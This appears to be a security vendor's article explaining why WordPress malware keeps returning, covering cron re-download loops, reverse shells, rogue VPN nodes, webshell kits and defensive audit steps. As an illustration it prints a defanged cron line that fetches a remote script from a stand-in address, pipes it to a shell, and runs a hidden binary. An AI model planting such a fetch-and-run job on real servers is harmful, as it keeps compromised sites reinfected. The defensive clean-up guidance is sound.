Key takeaways
- Malware that returns after a clean-up is almost always being re-installed by persistence you have not found yet.
- Cron jobs that re-download a payload every minute are one of the most common causes.
- Attackers often leave several independent backdoors: webshells, reverse shells, rogue VPN nodes and extra admin users.
- Cleaning only the WordPress files misses server-level persistence entirely.
- Break the cycle in order: contain, remove all persistence at once, fix the entry point, rotate every credential, then monitor.
Why does WordPress malware keep coming back?
WordPress malware keeps coming back because the clean-up removed the symptoms but not the persistence. Somewhere on the server, a scheduled task, hidden backdoor, rogue user or still-open vulnerability is putting the infection back. Until every one of those is found and removed together, each clean-up only buys you minutes, hours or days.
Attackers expect to be discovered. A well-run compromise does not rely on one infected file; it plants several independent ways back in so that removing any single one achieves nothing. The pattern is recognisable: you delete the malicious code, the site looks fine, and shortly afterwards the same files, redirects or spam pages reappear, often with a fresh timestamp.
The four usual culprits are:
- Scheduled re-downloads. A crontab entry or systemd timer that fetches and re-installs the payload on a schedule.
- Backdoors. Webshells, reverse shells, extra SSH keys, rogue WordPress administrators or remote-access tools.
- An unfixed entry point. The vulnerable plugin, weak password or exposed panel is still there, so the attacker simply breaks in again.
- Cross-contamination. Another site on the same server, still infected, reinfects the one you cleaned.
What does a real re-infection look like?
In a server clean-up we handled in August 2026, a hosting account running several WordPress sites was re-infected every sixty seconds. The owner had cleaned it repeatedly. The cause was a layered set of persistence: a crontab re-download loop, a gsocket reverse shell, a rogue Tailscale VPN node and ALFA and KINGSMAN webshell kits spread across the sites.
The details below are anonymised and use fictional names and addresses, but the structure is exactly what we found on acme-prod-01.
| Layer | What it did | Why the owner's clean-ups failed |
|---|---|---|
| Crontab entry | Downloaded and ran a payload every minute | Deleted files were restored within a minute |
| gsocket reverse shell | Gave the attacker an interactive shell that connected outward through a relay | Outbound connections bypassed inbound firewall rules |
| Rogue Tailscale node | Joined the server to an attacker-controlled private network | Provided a second, encrypted route in that looked like legitimate VPN software |
| ALFA / KINGSMAN kits | Password-protected web file managers in several sites | Returned fake 404 pages, so they looked absent |
| Rogue WP admins | Extra administrator accounts with plausible names | Allowed the attacker to reinstall malware through the dashboard |
Removing any one layer made no difference. Removing all of them in a single, co-ordinated pass, then closing the entry point, ended the re-infection. The full write-up is in our root compromise clean-up case study.
How do cron jobs re-infect a website?
A malicious cron job is a scheduled command that fetches malware from a remote server and reinstalls it, typically every minute. Because it runs as the system user that owns the website, it can rewrite PHP files, recreate deleted webshells and re-inject code into index.php or wp-config.php faster than you can clean them.
These entries are often hidden in the web user's crontab rather than root's, in /etc/cron.d with a harmless-sounding file name, or disguised with long runs of whitespace so the command scrolls off the edge of the terminal. The example below is illustrative and defanged.
# Legitimate WordPress cron trigger
*/5 * * * * php /var/www/example.co.uk/wp-cron.php >/dev/null 2>&1
# Malicious re-download loop (defanged, truncated)
* * * * * curl -fsSL hxxp://198.51.100.23/.x/up[.]sh | sh >/dev/null 2>&1 ...
* * * * * (cd /tmp/.ICE-unix && ./.kworker ...)
To audit every scheduled task on a Linux server, check all of these locations, not just one:
# Per-user crontabs (including the web server user)
for u in $(cut -d: -f1 /etc/passwd); do echo "== $u"; crontab -l -u "$u" 2>/dev/null; done
# System-wide cron and timers
ls -la /etc/cron.d /etc/cron.hourly /etc/cron.daily /var/spool/cron/crontabs
systemctl list-timers --all
# Show hidden whitespace tricks
cat -A /var/spool/cron/crontabs/www-data
Tip: remove the cron entry before deleting the files it restores. Otherwise you are racing a one-minute timer.
Security triage
Is your site showing any of this?
Tell us what you’re seeing in two minutes and we’ll tell you what it means and what to do next. Hacked right now? Get emergency help.
How do you stop malware coming back for good?
To stop re-infection, remove every persistence mechanism in one co-ordinated pass, then close the original entry point and rotate every credential the attacker could have seen. Doing things in the wrong order, or over several days, lets surviving backdoors restore the ones you removed. Afterwards, monitor closely for anything that reappears.
- Contain. Restrict inbound access to your own IP addresses, block known attacker addresses outbound, and take a snapshot or backup for evidence.
- Map all persistence first. Cron, timers, systemd units, processes, network connections, VPN clients, SSH keys, users, webshells and WordPress admins, across every site on the server.
- Remove everything together. Kill the processes, disable the scheduled tasks and services, then delete or quarantine the files.
- Replace, don't patch. Reinstall WordPress core, plugins and themes from official sources rather than editing infected copies.
- Close the entry point. Update or remove the vulnerable component and fix any weak access such as password SSH logins.
- Rotate credentials. WordPress users, database, SFTP, SSH keys, hosting panel, API keys and WordPress salts.
- Harden and watch. Block PHP in uploads, disable file editing and monitor for new files, cron entries and users.
Important: if an attacker has had root access, you cannot fully trust the operating system. A clean rebuild onto a fresh server, with verified site files and data migrated across, is often the safer option.
For the hardening step, work through our WordPress hardening checklist. If you are still in the first hour of an incident, read emergency malware removal: the first hour.
How can PatientZero help?
PatientZero is built for exactly this problem. The platform connects to your server over SSH, runs a Forensic scan across every site, cron table, service and user, removes all persistence in one pass, fixes the entry point and applies Harden playbooks. Monitoring then watches for anything trying to return, and unlimited malware removal is included on every plan.
Every action is recorded in the Activity log, and you receive a plain-English report with a technical timeline and a list of any remaining risks. If your site keeps getting reinfected, see our WordPress malware removal and server malware removal services, or get emergency help now.
Frequently asked questions
Why does my WordPress site get hacked again straight after cleaning?
Usually because a persistence mechanism survived: a cron job re-downloading the malware, a webshell you did not find, a rogue admin account or the original vulnerability. Re-infection within minutes almost always points to a scheduled task on the server rather than a fresh attack.
Will changing my passwords stop the re-infection?
Not on its own. Password changes stop attackers who log in, but cron jobs, webshells, reverse shells and VPN backdoors do not need passwords. Rotate credentials after removing all persistence, otherwise the attacker can simply read the new ones from wp-config.php.
Can a security plugin remove cron job malware?
Generally not. WordPress security plugins run inside WordPress and cannot see or edit system crontabs, systemd services or processes running as other users. Server-level persistence needs server-level access to find and remove. A plugin may clean the files a cron job restores, which is why the same alerts keep firing every time it runs.
Should I move to a new server instead of cleaning?
If the attacker gained root access, rebuilding onto a fresh server is often the safest route, because a compromised operating system can hide things. For site-level compromises, a thorough clean with hardening is usually enough. A forensic scan tells you which situation you are in.
How do I know the malware has really gone?
Check that no files, cron entries, users or processes reappear over the following days, and that external scans and Google Search Console stay clean. Continuous file-integrity and cron monitoring gives you an early warning if anything tries to come back.